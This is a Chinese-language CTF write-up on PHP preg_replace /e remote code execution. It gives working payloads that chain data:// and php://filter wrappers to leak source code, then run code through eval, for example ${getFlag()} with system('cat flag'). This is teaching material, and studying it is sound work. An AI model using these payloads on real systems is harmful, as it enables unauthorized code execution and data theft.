preg_replace远程执行漏洞
当打开页面时,会看到源码
1 | <?php |
看到这判断时
1 | file_get_contents($text,'r')==="I have a dream" |
可知,我们的$text里要有 I have a dream,而看到
1 | preg_match("/flag/",$file); |
可知,我们的$file中不能有flag关键字,但是有提示next.php,因此我们可以使用data伪协议和php伪协议,构造payload
1 | ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |
而后我们通过base64解码,可以看见next.php源码
1 | <?php |
通过看见代码
1 | function complex($re, $str) { |
我们可以想到preg_replace的远程执行漏洞,因此可以构造payload
1 | ?.*=${phpinfo()} |
但不可以显示,因为“.*”被转义为“_*”,因此使用payload
1 | ?\S*=${phpinfo()} |
而按照next.php的代码,可以利用getFlag()函数里的eval(),因此我们可以构造payload来调用getFlag()函数
1 | ?\S*=${getFlag()}&cmd=system('cat flag'); |
preg_replace远程执行漏洞
preg_replace()函数是/e模式时,当匹配成功后,会对替换部分用eval()进行代码的执行
1 | <?php |
当我们构造payload
1 | ?hack=phpinfo(); |
因为test会与”just test”中的test相匹配进行替换,所以会对替换部分”phpinfo();”进行代码执行
1 | eval(phpinfo();) |
而防止这个情况发生,现在的代码为
1 | <?php |
可以看到,此时我们可以控制的变量只有两个,而替换部分不是我们可以控制的量,已经变成了
1 | strtolower("\\1") |
因此,我们要办法利用替换部分来执行我们的代码,但是当我们preg_replace()匹配成功后,会以eval(‘strtolower(“\1”);’)代码的形式执行,而其中\1实际为\1,而\1在正则表达式中有自己的含义
1 | 反向引用 |
这里的\1实际上指定的是第一个子匹配项,而
1 | preg_replace('/(\S*)/ei','strtolower("\\1")',"${phpinfo()}"); |
”\S*“相当于是除了换行符以外的所有字符串
”.*“相当于是除了换行符以外的所有字符串
1 | 因此判断项可以使用”\S*“或”.*“匹配输入的字符串,从而使替换部分可以进行代码执行,因此可以按以上的代码构造payload |
?.*=${phpinfo()}
?\S*=${phpinfo()}
1 | 会返回php的版本,而${phpinfo()}这条代码,构造 |
?\w+=${phpinfo()}
也可以执行,但是”.*“一般在get提交时被转义为”_*“,所以会用”S*“来代替
详细请看:https://xz.aliyun.com/t/2557”